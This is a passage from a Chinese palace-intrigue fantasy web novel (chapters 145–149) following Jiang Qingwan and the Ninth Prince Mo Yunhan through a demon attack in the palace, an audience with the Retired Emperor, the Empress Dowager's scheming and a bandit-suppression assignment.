云筱然才悠然开口,
“本县主并不是弑杀的人,经此一遭,江氏王妃的名分是保不住了,她一个下堂妇,对我并没有什么威胁,留她一命也算是给自己积福。”
“若是现在有人能拿出实证,证明吸食活人的另有其人,为了王府的声誉,为了王爷不再受牵连,本县主可以再去求太后宽宥。”
莲儿抓住重点,立刻拍着胸口道,“是奴婢吸食活人,那干尸是奴婢杀的,跟我家小姐没有任何关系。”
云筱然摇头。
“说话要有证据,这件事可是皇上亲自在查,不容敷衍。”
她厉声喝问后缓缓俯下身故意引导,“你是江氏的贴身丫鬟,如果你真的想为她抵命,就要找些能说服人的东西出来,到时候你再来个死无对证,这事自然翻篇。”
莲儿的脸一阵惨白。
哭的红肿的眼底,闪过决绝的死志。
她缓缓抬头,直勾勾的盯着云筱然。
“奴婢身份低贱,死不足惜,可若县主大人不能信守承诺,欺骗于我,我定化作厉鬼,永生永世缠着你。”
那骇人的气势惊得云筱然猛地直起身,下意识的攥住了腰间挂着的荷包,突突乱跳的心杀意陡升。
莲儿却已经起身,快步走去江清婉的寝卧,将她放在衣橱上方的炉鼎拿了下来。
有天夜里她肚子不适,起来如厕的时候无意间撞见过江清婉用这东西。
昏暗的房间里旋着诡异的气流,这炉鼎内却溢出奇异的光芒。
她不懂这东西的作用,但定然是跟玄门道术有关。
犹豫良久,她深吸一口气,抱着炉鼎正准备出去。
院子里却响起青穗的声音。
“苏姨娘,你趁着王妃不在,冲着下人耍威风,算什么本事。”
紧接着是云筱然的怒喝。
“放肆!李嬷嬷,掌嘴!”
莲儿心中一动,立刻将炉鼎放下快步跑了出来。
“青穗姑娘。”
院子里,青穗一把扇飞了试图掌掴她的李嬷嬷,并将还跪在地上脑袋磕出大包的李斗拽了起来。
李嬷嬷本就残了一只胳膊,此刻被摔得连声惨叫。
云筱然气的脸色铁青。
本小章还未完,请点击下一页继续阅读后面精彩内容!见莲儿出来立刻质问,“你到底还想不想救江清婉?”
莲儿未开口就被青穗打断。
“王妃好的很,何须我们搭救,你再欺负他们,别怪我出手狠!”
青穗杀过人,周身的气场萧杀凌厉。
再加上常年习武,眸色冷硬,哪里是莲儿那般好糊弄的。
云筱然不甘心的冷声骂道,“江清婉还真是养了不少好狗,既然你们不识抬举,那就等着她被五马分尸吧。到时候,千万别来求我。”
她说完拂袖而去。
李嬷嬷紧跟着站起来,朝着莲儿三人淬了一口唾沫。
“我家县主刚从宫中将郑少爷救出,这宫里的消息,还有谁比我家县主更清楚,真是浪费我家县主的仁厚之心!”
莲儿心急如焚。
“青穗姑娘,我家小姐……”
青穗轻轻摇了摇头。
等云筱然几人走了才道,“现在王爷和王妃待在一起,我们都在想办法,你二人切勿急躁被人利用。”
闻言莲儿登时有些后怕,眼泪扑簌簌往下掉。
她只一心救人,若是因而连累了小姐,她就算是死了也难赎大罪。
“青穗姑娘,你们都走了,前院还不许我们去求宋夫人,我们真的是没办法了。”
青穗安抚的拍了拍她的肩膀。
却也无法给一句绝无危险的准话。
墨青蕊从王府离开刚到家门外,就看到了几辆马车停在府门外,不知等了多久。
除了她熟悉的那几人,柳氏也来了。
见到她皆迎了上去,面色都有些着急。
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第145章 暗夜鬼影
九王府出了事,整个长安区的气氛都有些压抑。
好在墨青蕊常年喜欢呼朋唤友的来府中玩耍,倒也不会太引人注意。
她将众人请进府中,沏了茶,屏退了所有丫鬟侍从才道,“几位这么着急过来,是害怕之前种种会被这妖妇连累吗?”
傅安安性子最是着急。
“郡主姐姐,你就别开玩笑了,我们若是怕,就不会过来了。江妹子到底怎么样了?这群人想干什么啊?我这消息听得稀里糊涂,一会说江妹子要杀太后,一会又说江妹子勾结大隋余孽要谋反,还有说江妹子被活人吸成了干尸,这传闻听得我是心惊肉跳的。”
朱淮君道,“我听说不少言官都去了宫里,那些人的嘴,能把死人说活,如今九王府都封了,局势怕是不妙。”
陆宁也跟着点点头附和。
“我夫君萧平早朝时在场,是宋夫人的儿子亲自检举了江妹子,单单以妖术谋害太后这一条,就足以要命了。朝中支持九王的人,这次都没有站出来的,有消息在传,皇上这次有意拿下九王,谁也不敢触这个霉头。但江妹子对我有恩,我不做点什么,心中实在难安。”
傅安安忽地一拍巴掌。
“这里是京城,民心作用最大。要不然咱们煽动民众,给江妹子按一个救世活菩萨的美名,只要除了这妖妇的名声,是不是就能有转机?”
一直没说话的柳氏却摇了摇头。
“此举怕也无用。”
傅安安和她不熟,没敢搭话。
朱淮君却认识柳氏,忙问道,“何夫人为何这么说?”
墨青蕊则是一脸惊愕。
“何年把江妹子救你儿子意东的事情呈报给皇上了?”
柳氏点头。
“我夫君那人你是了解的,他从不肯低头说谎,出了事以后,他便写了奏折递交了上去,却是石沉大海。几位应该都知道回春堂的钟大夫吧,他与太上皇关系匪浅,可也没能说上话。若连太上皇都不肯出手,九王爷和江娘子这一关,怕是真的难过了。”
众人一听皆是沉默。
若只是遭了诬陷,她们毫不犹豫的都会站出来作证。
可如今,若是皇上铁了心算计查办,谁又能帮得上忙。
墨青蕊抿了口茶。
她生在皇室,虽平日里不太着调,只顾着享乐贪玩,可很多事,却比旁人看的更细致更精准。
“这个时候,咱们谁也别动,若真的联络朝臣去跟那群言官对峙,皇上该怎么想?他只会觉得九王府要反,到那时,不仅帮不了江妹子,所有出头的都会跟着遭殃。”
她说着看向柳氏。
“你家何年,被发配多年,还是跟块石头一样,又冷又硬,就不怕再被发配?”
柳氏笑了下。
“倒也不是不怕,只是救命之恩,我们若什么事都不做,余生难安,倒还不如去苦寒之地过活来的清净。”
几人虽与她不熟,却也不由钦佩其人品。
墨青蕊道,“几位都先回去吧,明日我入宫去探探消息,既然现在没有圣旨下来,今夜,应当无事。”
……
夜半时分,墨云寒发起了高烧。
江清婉将仅有的水全都喂给了他,可烧依旧没退。
他全身滚烫着,瑟缩在破旧的被子里发抖,一只手却还死死的攥着江清婉的裙摆不肯松,被烧的发白的唇轻颤着呢喃。
“我母妃不是妖,不是……妖。”
江清婉一遍遍用所剩无几的灵力帮他缓解,好在有些效果,一番折腾下来,她累的浑身都冒了汗,比床上躺着的墨云寒还要狼狈。
她又心疼又烦躁。
“加上玄灵山救你的账,普恒钱庄里的钱你必须分我三成,我真是亏大了。”
她摸了摸墨云寒的额头,见温度不再那么烫,心里也松了口气。
疲惫和困倦袭来,她连起身都没了力气,歪在床边就想睡觉。
这时忽然听见有脚步声响起。
很轻。
可在空旷的宫殿内却又异常的清楚。
虽然宫殿常年不住人,灯架上的油脂却并没有燃尽,此刻寝殿内燃着几盏,昏黄的灯光影影卓卓,更显诡异冷森。
空气中有一丝丝寒气袭来。
阴冷的直往人骨头里钻。
江清婉心里咯噔一下,强撑着身体站了起来。
门外惨白的窗户纸上映出一道黑影,就杵在门口没有动,也似乎没有进来的意思。
可寝殿内阴冷的寒气却又越来越重。
有黑色的触手,如丝线一般从门缝里钻进来,试探着朝江清婉而去。
却并没有着急动手,只是围着她,盘旋着,如一条又一条剧毒的蛇。
有几条触手转向床的方向,蓄势待发。
下一刻就被江清婉丢出的符纸灼伤,瑟缩而逃,而其他触手却开始躁动起来,围着她的距离越来越近。
江清婉此刻丹田空乏的一阵阵刺痛,根本使不出更多的法术。
她回头看了眼墨云寒,随后抬步朝外走。
随着她的动作,那些触手齐齐后撤,又齐齐跟上。
这章没有结束,请点击下一页继续阅读!江清婉一直走到门口,隔着门缝,她闻到了外面黑影散发出一种奇怪的腥臭味。
像是腐烂了很久的尸体,却又夹杂着一些木香。
那些触手全爬到了门上,在江清婉的面前汇聚出一个人影的形状,歪着头裂开嘴冲着她笑。
场面无比的诡异恐怖。
若是换个人怕是要被吓破了胆。
可江清婉却突然以迅雷之势,猛地拉开了门,随后抬脚狠狠地踹了出去。
外面的人影猝不及防,被踹了个正着。
江清婉用了全力,可对方的身体却纹丝不动。
反倒是她被力道反弹的踉跄后退了两步,差点摔倒。
门框上的黑色触手缓缓回到那人体内,黑色的面具下赤红着一双眼睛,如鬼影一般歪着头。
嘴里发出桀桀的笑声。
嘲笑着江清婉挠痒痒般的偷袭力道。
江清婉大喘着气,白净的额头上冒出细细密密的汗珠。
清冽明亮的眸子在月色和灯光的交汇下,却透出一丝冷笑。
鬼面人嘴角的弧度猛地僵住。
忽觉腹部一阵灼烧般的疼。
他下意识低头,就看到刚刚被江清婉踹到的地方,竟燃起了一团灵火。
万千黑色触手如丝网一般扑向那团火,一缕缕黑气从火中冒出,伴随着只有他们二人能听见的凄厉惨叫。
虽如此,可黑色蛛网却还是速度很快的将那团火给灭了。
刚刚起身的时候,江清婉用指尖血在脚底画了符箓。
可她现在能调动的灵力实在太少,虽符箓本身强大,可攻击力依旧太弱。
黑丝散去,鬼面人的腹部露出一块烧的血肉模糊的皮肤。
他缓缓抬起头,赤红色的眼睛里满是杀意,咯吱咯吱活动着肩膀。
在他的胸口有红光闪烁,那块血肉模糊的皮肤竟肉眼可见的愈合了。
江清婉心中一惊。
这人的身体内竟然嵌着法器?
晃神间,她的脖子被猛地扼住,大力提起。
鬼面人粗哑的声音如钝刀磨着石头。
“就这点本事可活不成。”
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第146章 带你去见太上皇
随着力道的收紧,窒息感袭来。
江清婉的脚尖渐渐脱离地面,一张瓷白的小脸也被憋得通红。
她想用符纸将人打飞,可指尖根本凝不出灵力。
意识在窒息中慢慢模糊,她艰难地想回头看一眼墨云寒。
可脖子在禁锢中根本转不过去,她只能看到,几缕丝线化作触手越过她再次朝床帏的方向游去。
“不准动他!”
江清婉艰难开口,干枯的丹田再次被她拼命催动,有一种撕裂般的疼痛自腹部传来,在她的后背,一道隐形的符箓正若隐若现。
“嗖!”
破空声袭来,一柄长剑从黑暗中而来,直刺面具人的后脑。
他紧急扯手,拽着江清婉朝着长剑刺来的方向狠狠砸去。
江清婉如同断了线的风筝,眼见长剑就要刺穿她的喉咙,下一刻剑柄就被人握住,赤森的身影自黑夜中跃出,揽住江清婉的腰旋落在地的瞬间,长剑再次飞刺而去。
速度之快,面具人躲无可躲,凝出一团黑气抵挡。
剑身如碰撞到坚硬的金属,发出刺耳的摩擦。
等黑气被劈开,鬼面人已经跑了。
江清婉拽住赤森的胳膊。
“别追了。”
赤森将剑收回剑鞘,侧头看他。
“我没打算追。”
江清婉被噎了一下。
忽地问道,“你知道那鬼面人是谁?”
赤森没理,转头看向殿内。
闹出这么大的动静,墨云寒却没有起身,看来伤势比他预想的还重。
他微微皱了皱眉,再次将目光落在江清婉身上。
“我带你去见太上皇。”
……
养心殿内,只点了一盏灯。
江清婉被赤森扔到院子里的时候,差点摔了个狗啃泥。
虽然这厮刚刚救了她,但这行为实在让人抓狂。
她理着裙子想骂人,殿前的老太监就躬身走了过来。
“见过九王妃。”
这老太监江清婉见过,忙敛下情绪微微颔首回了礼,随着他的脚步进了内殿。
她脚刚踏进去,就嗅到了一股灵兽的气息。
她好奇的探头看向一个方向,并没有注意到老太监已经退到了门外。
她的脚步下意识朝着那个方向走。
这股气息和小红异常的相似。
难道太上皇养了一只即将化形的野兽?
“你在找什么?”
一道苍老的声音在另一侧响起,带着几分熟悉感,打断了江清婉的思绪。
她下意识回头,在看清软榻上靠坐着的老者后猛地一惊。
“是你?”
怪不得那日钟大夫带着他在淮楼出现的时候,她会感觉到龙气。
没想到看似寻常的钟大夫,竟然跟太上皇有这等渊源。
“大胆江氏,藏匿王府,谋害无辜之人的性命,以玄门道术连通大隋余孽意图谋反,其心可诛,还不跪下认罪!”
老者的冷声怒斥,虽气势威慑,却中气不足。
江清婉福了福身算作行礼。
“您有话就直说吧,若要杀我,赤森的剑,我也没本事躲得开。”
太上皇盯着她瞧了好一会儿,满脸的肃杀骤然消失。
“倒是有些胆识,坐吧。”
江清婉看了眼不远处摆满了菜肴和点心的桌子,也没客气,走过去跪坐在软垫上。
“那日我请你吃了一顿,这一顿,算你还我。”
她说完直接开吃。
实在了一天一夜没进食,连口水都没喝。
温度适中的饭菜味道绝佳,太上皇也不着急,一直等她吃完用帕子净了手擦了嘴,这才道,“赤森说,你可以随意进出玄灵山的护山大阵?”
江清婉想了想,不答反问。
“你和皇帝,谁能做主?”
太上皇微微挑眉。
“有什么不同吗?”
江清婉平静的看着他。
“你连墨云寒的命都护不住,我凭什么相信你愿意护我的命,更何况对手还是皇帝和太后。”
“你为什么觉得,对手会是皇帝和太后?”
江清婉微微顿了顿。
“若您不能坦诚,那我不认为咱们有交流的必要,若您想我死,现在即可动手。”
太上皇缓缓坐直了身体。
“小丫头,这里是皇宫,有比死更痛苦百倍的手段。”
江清婉轻抿着唇没说话。
现在摆明了皇帝跟墨云寒已经撕破了脸面,这三十鞭是警告也是开局。
最糟糕的是她现在的灵力耗损太严重,别说是离开京城,想从这皇宫中脱身都难。
既到了绝境,那不如就破釜沉舟。
如果真的无路可走,她可以给这老头续一年的命。
她相信,没有哪个人,不想活。
沉默的四目相对。
太上皇却率先打破了僵局。
“你听说过九龙阵吗?”
江清婉点头。
回答了他最想知道的问题。
“我能设。”
太上皇的眸子骤然亮了起来。
“当真?”
江清婉耸了耸纤细的肩头。
“我的命都在您手里,如何骗得?不过现在不行,为了救您的儿子,我损耗太大,需要恢复一段时间。”
“多久?”
“一个月。”
殿内再次陷入一片死寂。
太上皇低头碾着衣襟的一角,沉默良久后道,“我知道了,你回去吧。”
江清婉一脸无语。
“回哪?九王府?”
太上皇脸上的神色已经恢复如常。
“皇帝准了吗?”
江清婉气的差点吐血。
说半天,这皇宫还是皇帝说了算。
她气鼓鼓的站了起来,往外走了两步又极不爽的折返回来。
“我救了您儿子,您没点赏赐?”
太上皇被她问的一愣。
“你要什么?”
“黄金万两!”
江清婉小手一伸,要的理直气壮。
太上皇眼底闪过一抹笑意,悠然的又靠在了软垫上。
“他是你男人,他死了你要么成寡妇,要么被恩赐殉葬,我已经黄土埋了半截脖子的人,管不了这么多,跪安吧。”
江清婉气的肺都快炸了。
这老狐狸,套了她的话却翻脸不认账,太可恶了。
她甩了下袖子,转身往殿外走。
耳边呼听一声虎啸,隔着什么都东西透了过来。
她猛地顿住,狐疑的眯了眯眼。
那股灵兽的气息越发浓烈。
老太监却已经进来。
“王妃,老奴送您回去。”
江清婉嗯了一声,快步出门。
一颗心却是七上八下,再难平静。
皇宫内的鬼面人背后的主子不会是太上皇吧?
在这灵气稀薄的皇宫之中,若非有玄门高手豢养,又怎可让野兽成为灵兽?
难道墨云寒幼时的遭遇,是这个亲爹授意的?
若真是如此,岂不是真的无路可走!
第147章 脱了让你看清楚
养心殿后殿内。
太上皇拧动龙床上的机关。
随着暗室门的打开,露出一道贴满符箓的铁墙,墙上只留了一个碗大的四方小口,小口被锁着,四周沾着早就干枯的血痕。
内有虎啸低鸣。
他站在门外,双眼看着这诡异的门,却如同看一个挚爱的少女,满是柔光追思。
“你陪了我这么多年,眼看着我都快死了,你就安生些好不好?等我去找嫣嫣后,一定给你自由。”
听到“嫣嫣”这两个字,里面的虎啸声终于停了下来,传出似人般的呜咽声。
……
鬼面人又跑去吸了两个宫女的精气,刚回到坤宁宫,就看到太后穿着内衫披散着长发提着一盏灯坐在地下暗室内。
她旁边是浸泡在血水中的窟窿头。
光影一明一暗,一边圣洁如观音降临,一边血腥如地府炼狱。
这幅画面却让鬼面人赤红的双眼骤然兴奋起来。
他不受控制的靠近,手还没碰到太后的衣襟,一个凌厉的巴掌就扇了过来。
他愕然抬头,紧接着又是一巴掌。
“废物!跪下!”
鬼面人缓缓跪在地上,脚边是洁白的衣裙,蛊惑着人心。
他的手很痒,心更痒。
太后居高临下的看着他,眼中尽是厌恶。
周围腥臭的味道更是令她作呕。
“当年若不是哀家救你,你岂能活到现在。如今连这点事都做不好,竟然能让墨少泽将干尸搬到太上皇面前,你是干什么吃的?不是要杀他吗?哀家准了,你为何不动手?”
一想到太上皇的羞辱,太后心中愤恨难平,再次抬手啪啪又是两巴掌。
鬼面人的面具都被她扇掉在地上。
黑色头巾下的白发溢出,满脸的符箓更显骇人。
他死死盯着地上滚落的面具,粗噶的声音异常刺耳。
“我现在去杀了他。”
“啪!”
又是一巴掌。
太后的手都打的生疼,一张毫无皱纹的脸,此刻也变得狰狞可怖。
“这件事到此为止,哀家不管你去哪里吃人,再敢动到明面上,哀家要你的命。”
鬼面人不说话低着头,在黑暗中像一头喘着粗气的野兽。
太后稍作冷静,忽地弯腰俯下身。
素白的手轻轻摸在了他满是符箓的脸上。
“太上皇活不多久了,等他死了,你就是这大周的暗皇,到那时想杀谁,哀家都不拦你。”
她说完拿起灯笼直起身,“三日后,去把九龙阵修好。”
灯笼的光照着她的脚步缓缓走上木质的楼梯。
鬼面人抬起头,赤红的眼睛盯着她的背影忽地问了句。
“太后,九龙阵中的宝物可要放回?”
太后的脚步没停。
“当然,你何时启程,哀家让人取来。”
鬼面人缓缓戴上面具。
“那就明日吧。”
……
这一夜,皇宫内外,鲜少有人能安眠。
燕云青亲自去了一趟刑部死囚牢房,被连夜拉走了好几个人。
晨曦的光撕开黑暗照在荒凉的宫殿内,
墨云寒终于缓缓睁开了双眸。
被烧的干哑的嗓子如刀子在割,他轻轻舔了舔唇瓣挣扎着想爬起来,手一动才发现身侧有人。
他稍稍活动了一下脖子,转过头看向床的另一侧。
江清婉合衣蜷在一角,气息平稳,正睡得很香。
只是一张素白的小脸透着疲惫,脆弱的唇色几乎都要看不出。
墨云寒心里五味杂陈。
当日他急着要赐婚的圣旨,存着很大的私心的。
躲避皇帝和太后的赐婚是其一,更重要的是,在没见到云天机之前,他不能让江清婉有理由离开。
至于说的保护,其实他知道,就算是他武力强拦,也不一定拦的下,这女人多的是办法遁走。
反倒是现在,被他接二连三的拖累。
无论是郑家三人,还是云家姐妹。
他有他报恩的方式,可眼前的江清婉,他发现自己什么都给不了。
晃神间,对上一双初醒时懵懂的眸子。
江清婉抬手抵在他的额头,掌心微凉。
试了试又贴回自己的额头,片刻后道,“总算退烧了,趴好我看看伤口有没有感染。”
墨云寒收回目光,很乖的照做。
江清婉跪坐在他身边扒开纱布检查,不由啧啧两声。
“你这身体还真的不一般,这才过了一夜竟然好了个七七八八。”
墨云寒对此并无意外。
以前在战场上受伤是家常便饭的事,可每次他几乎都用不到金疮药。
也正因为这个,在他心里一直存着怀疑。
若非是妖生,他为何与旁人不同。
可现在,这份经年累月的执念,却淡了许多。
“江清婉,你想要什么?”
江清婉愣了一下。
这个问题,在玄灵山的山洞内她听到过一次。
那时她耗尽了灵力才将墨云寒给救活,正上头的时候听到这话,自然气恼。
不过此一时彼一次。
她歪着头看向墨云寒,“什么都可以?”
墨云寒噙着笑答,“对,什么都可以。”
江清婉开心的搓了搓手,连带着小脸也染了几分红润,苍白的唇瓣也恢复了些血色,整个人好像又鲜活起来。
“我要普恒钱庄一半的银子。”
墨云寒没说话,继续等着。
江清婉还以为他舍不得,想了想又退了一步。
“你是王爷,命很值钱的好不好?算了,看在相识一场的份上,我少要点,三分之一的银子,不能再少了。”
墨云寒有些无奈。
“你就只想要银子?”
江清婉回的干脆。
“当然,谁会嫌银子烫手。再说了,我不要银子要什么?要权势?你堂堂王爷,跟皇上闹崩了都会被随时砍掉脑袋,更何况我一介平民。至于其他,你也没有啊。你瞧瞧你现在,也就一张脸能看,身材也马马虎虎……”
她话还没说完,就被墨云寒一把拽过来翻身压在了床上。
男人的脸气的铁青。
“本王的身材马马虎虎?看来王妃对此有很大的误解,本王现在就脱了让你看个清楚。”
他单手轻松擒住江清婉的双手反剪过头顶,空出来的一只手直接扯开了领口。
昨晚为了上药,他腰间的束带早就松了,他这一扯,整个上半身都露了出来。
斑驳的陈旧伤痕下是精壮的胸肌和完美的腹肌,每一块都集聚着超强的爆发力和男性的强横气息。
腰腹之下,极为性感的弧线隐在裤子边缘。
江清婉很没出息的咕咚咽了下口水,在凝滞的气氛中,声音极大。
第148章 郎情妾意
四目相对,周围的空气似乎都被炙热点燃。
彼此的呼吸和心跳杂乱的交织在一起,已分不出是谁动情更多。
这时殿外传来太监尖细的喊音。
“九殿下,皇上召见,奴才来替您更衣。”
江清婉迅速回神,心神乱的厉害,扭着腰躲闪。
“墨云寒,你赶紧下去。”
可扭了两下她整个人就僵住了。
大腿处清晰的触感让她浑身都有些发毛。
“你你你……”
墨云寒忽地俯身压下,彼此紧贴的身体,那种感知更加的明显。
柔软的唇落在江清婉白皙纤细的脖子上。
墨云寒的声音哑的厉害。
“看清楚了吗?如果没看清,你还可以摸一摸。”
他作势拉着江清婉的手往腰腹处去。
江清婉又急又羞。
潋滟动人的眸子里裹着火。
“你敢乱来,我就阉了你。”
殿外,小太监又喊了一声。
“九殿下?您起了吗?”
墨云寒微微抬头,眸光灼灼的看着江清婉,好似要把她印在脑子里。
片刻后,起身朝着殿外而去。
背后衣衫褴褛,身上锦袍早就破败不堪。
可那挺拔的身形,却如一杆永远也不会倒下的长枪。
迎着光,如神只降世。
殿门打开,小太监带着几个太监宫女鱼贯而入。
净面,束发,重新换上了玄色的朝服,戴上了象征着身份的金色玉珠冠。
而江清婉也在几个宫女的帮助下换上了一套极为华贵的宫服。
墨云寒朝她伸出手。
“走吧,去看看我那皇兄今日又行什么章程?”
江清婉实在不习惯高耸繁杂的发髻,还有这满头的珠翠。
感觉整个脑袋都被压低了半截。
她将小手搭在墨云寒的掌心,尝试着往前走了一步,只觉头重脚轻。
墨云寒将她的手包裹住,微微侧身道,“戴在你头上的东西,都归你。”
江清婉立刻抬头确定。
“真的?”
“当然,皇兄是大周的天子,不会这般小气。”
江清婉立刻看向端着托盘的宫女。
“你过来,把首饰都给我插上,那几个手镯我也喜欢,不用选了,我两个手腕都能戴。”
那宫女心中鄙夷。
真是个上不得台面的乡下人,丢脸丢到了皇宫里。
她刚想找理由拒绝,墨云寒冰冷的眸光就扫了过来。
“王妃的话你没听到吗?耳朵不能用本王可以帮你割了。”
众人吓得齐齐跪在地上。
端着托盘的宫女哪敢不从,跪行着来到江清婉身边高高举起了首饰。
另一个宫女赶紧起身上前,将所有的金钗和镯子全都给江清婉戴在了身上。
虽然又重了几分,可江清婉喜欢那金子。
到时候融了给祖师爷塑金身正当用。
她满意的重新看向墨云寒。
“走吧,但愿有饭吃。”
墨云寒憋着笑,一手牵着她,另一只手抬起轻轻帮她正了正鬓角上的一朵鎏金含珠的夹子。
“本王的王妃长得极美。”
江清婉冲他毫不犹豫的翻了个白眼。
引路的太监将二人带到了皇帝寝宫的外殿。
御膳房的总管正张罗着布菜。
穿着明黄龙袍的墨云昭从内殿出来,温和笑着招呼他们坐下。
“小九,伤势如何?可要传太医?”
仿佛那要了命的三十鞭,不是他下旨打的。
墨云寒拱手行礼。
“臣弟皮糙肉厚,已无大碍,劳皇兄挂念。”
“那就好,这时朕让御书房特意给你熬得鸽子汤,愈合伤口的。”
江清婉也算是见过不少形形色色的人,可这皇家的虚与委蛇实在是令她叹为观止。
不过有饭吃,对她来说已是好消息,她低眉顺眼不言不语,无比乖顺的坐在墨云寒旁边。
太监试过毒之后才开动。
墨云寒似是怕她不好意思,拿着筷子将所有的菜挨个夹了一遍,全放在了她面前的碟子上,叠成了小山。
还有煞有介事的一通解释。
“皇兄莫怪,臣弟的王妃挨饿受冻了一夜,实在辛苦。”
墨云昭的嘴角抽了抽,“那就多吃些。”
江清婉悄悄伸手到桌下,狠狠拧在了墨云寒的大腿上,面上却不动声色的喝着粥。
墨云昭闷哼了一声,本就磁性的声音更显撩人。
“别闹,皇兄还在呢。”
江清婉恨不得将手里的碗呼他脸上。
这男人,真是疯的不轻。
二人之间大眼瞪小眼,落在旁人眼里就是郎情妾意的缠绵。
墨云昭低咳一声。
“小九不想知道袭杀太后陷害王妃的歹人是谁吗?”
江清婉立刻抬起头。
一夜之间,就查清真相了?
墨云寒却比她淡定太多。
又夹了一块水晶饺放在她碗里。
“皇兄既已查明真相,臣弟二人吃过饭是不是就可以出宫了?”
墨云昭抬了抬手。
一旁服侍的太监总管立刻上前,从袖子里摸出一个折子递了过去。
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墨云寒接过,江清婉立刻凑了上去。
折子里是一份简报,护国寺和玄灵山中出现的大隋余孽并不是真正的大隋人,而是三年前定罪的逆臣的部下。
而这名逆臣官拜一品,其妹还曾入宫做了一品妃子。
大隋和大周的那次激战,逆臣参与其中,并收缴了部分金钩弯刀藏匿府中,找了能工巧匠加以修改。
可还未来得及实施,其妹就因在宫中与侍卫勾搭处斩,更搜出谋逆密信。
家族被也连累,流放的流放,下狱的下狱。
这些年他的部下逐渐汇聚,又四处寻觅了玄门道人意图再次谋反,要救出被判刑的主人。
嫁祸九王府是因为知晓九王府与皇上关系亲厚,借机挑拨,意图瓦解朝堂稳固。
这简报虽字字句句皆是合理,下方更有罪臣的亲笔画押,可就连江清婉都能看得出来,这绝不是真相。
墨云昭却一脸的深信不疑。
“你是朕最疼爱的幼弟,爱之深责之切,倒是让朕也迷了眼。如今事情已经查明,贼人就藏匿在百里之外的清风寨,小九,此事你受了委屈,也惹得朝臣非议,绞杀叛贼一事,非你莫属。”
墨云寒将折子合上放在桌上。
“皇兄,臣弟伤重怕难堪重任。”
墨云昭却抬手拍了拍他的肩膀。
“这次无需你出力,朕让你去,一是要让朝臣知道,你是被冤枉的,这二吗,自然是要让你出口恶气,帮手朕都已经给你找好了。”
他抬眸看了眼太监总管。
后者会意,当即冲着殿外高声喊道,“宣大理寺代司正觐见。”
随着这声高呼落下,殿外走进来一人,身穿暗紫色朝服,头戴官帽,英姿俊朗,意气风发。
“臣秦明朗叩见皇上,吾皇万岁万岁万万岁。”
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第149章 共同剿匪
墨云昭淡淡抬了下手。
“也无外人,秦爱卿起来回话吧。”
“谢皇上。”
秦明朗起身,又冲着墨云寒的方向拱了拱手。
“下官见过九王殿下。”
说罢直起身,眸光灼热的落在了江清婉的小脸上,声音裹着万般柔情,缠缠绵绵的唤了声,
“清婉……”
“啪!”
墨云寒手里的筷子猛地拍在了桌子上,上好的玉石拍了个粉碎。
周围气压骤降。
秦明朗却只是微微弯下了身,敛着眉眼,透着委屈和强权之下的敢怒不敢言。
剑拔弩张间,江清婉抽出帕子握住墨云寒的那只大手温柔擦拭。
“这巴掌要打在该打的人身上,跟筷子置什么气,若伤到了自己,我会心疼的。”
她说着还俯身过去轻轻吹了吹。
温热的气息蹭过手掌,墨云寒满身的杀气瞬间消了,大手一收将江清婉的小手扣在掌心。
“是我不好,让夫人担心了。”
一句“夫人”扇的秦明朗脸都绿了。
墨云昭再次低咳一声。
“如今九王和九王妃琴瑟和鸣,也算是佳偶天成,过往种种就不要再提了。”
“秦爱卿此番在护国寺中舍命救了太后,可朝中却也有人怀疑秦爱卿出现在护国寺的目的,所以此番剿匪,便有你辅佐九王一起进行,也算是消了朝臣的疑虑,若能顺利完成,你头上这个‘代’字,朕便给你消了。”
秦明朗闻言大喜,立刻跪下谢恩。
墨云昭笑着看向墨云寒。
“小九,朕的安排你可还满意?”
江清婉心中忍不住冷笑。
这皇帝还真是一只老狐狸。
昨日墨云寒为她据理力争,提到秦明朗和郑成业都出现在护国寺各有怀疑,今日他便拿这话堵墨云昭的嘴。
这样墨云寒连拒绝都不能。
跪在地上的秦明朗忽地又道,“皇上,臣愿为大周披肝沥胆,可臣身上还有些伤,若遇强敌,怕护不住九王殿下,所以,臣想举荐一人同往。此人便是巡防营副将王昊,听闻王将军曾是九王殿下的部下,定能忠心不二的护主,臣也便可再无后顾之忧。”
一句“忠心不二的护主”让墨云昭的眸色凉了凉,可唇角的笑却依旧温和。
“如此也好,否则太上皇知晓朕不顾小九的伤遣派他去剿匪,定要怪朕。”
“来人,拟旨。”
墨云寒起身,居高临下的看着依旧跪在地上的秦明朗。
冷厉的黑眸中,杀心毫不掩饰。
“秦将军处处为本王着想,实在令本王感动,在外刀剑无眼,还望秦将军珍重。”
说罢,他牵着江清婉的小手头也不回的走了,连旨都没领。
秦明朗转头看着二人的身影消失在殿门外,眼底闪过一丝阴狠。
明黄的圣旨落在他手中时,他再次一跪到底。
“皇上,清风寨中藏匿的反贼已掌握了金钩弯刀这种了不得的机关术,还不知有无其他机关陷阱,臣恳请从巡防营中调集所有可用的新型机关战车和机关甲、机关弩,以保万无一失。”
墨云昭的手指轻轻敲着桌面,默了几息后道,“准了。”
……
墨云寒和江清婉刚到王府门口,正好碰到墨青蕊的马车,她正要进宫去请安顺便打听一下消息。
见到二人立刻叫停了马车,急匆匆的跳了下来,冲到江清婉身边握住了她的手。
“江妹子,你没事了?”
江清婉被她的热情吓了一跳,见她眼眶微红满眼焦急,心中也不由一暖。
“郡主放心,我和你小九叔都没事。”
墨青蕊这才意识到墨云寒还在,忙松了手规规矩矩行了礼。
“见过小九叔。”
墨云寒嗯了一声,“去忙你的吧。”
墨青蕊本就讨厌进宫跟里面的贵人们打哈哈,笑的脸皮子都僵了,也没一句真心话。
眼见江清婉都无事回来了,自然不肯再往宫里跑,当即摆摆手。
“我本就想进宫打听一下江妹子的消息,现在看来不用我操心了。小九叔有事便去忙吧,我那几个好姐妹都惦记着江妹子,等会肯定要聚聚,给江妹子压压惊。对了,我先带她去见宋姐姐。”
她说着都不等墨云寒回话,拉着江清婉率先进了府。
墨云寒原以为江清婉会叮嘱他几句,可对方连头都没回,满脸带笑的跟墨青蕊说着话往舒雅院的方向去了。
他绷着脸,气的心口疼。
这女人,就不担心他的伤?也不担心他跟秦明朗一起剿匪会出事?
真是铁石心肠!
二人回府的消息很快传开。
剿匪的圣旨还没出宫,长安区各府就已经知晓。
所有蠢蠢欲动的心思再次按捺下去。
莲儿和李斗跑去舒雅院,看到完好无损的江清婉后,莲儿绷不住又哭又笑。
江清婉好一顿安抚,才哄着李斗带她回去休息。
风雅筑内,此刻却是满厅狼藉。
云筱然气的脸色铁青。
“这么快就回来了?我就不信一夜之间能查出什么真相,那么大的罪名,皇帝怎么能说放人就放人!太后又在干什么?这么好的机会就这么白白流走了?”
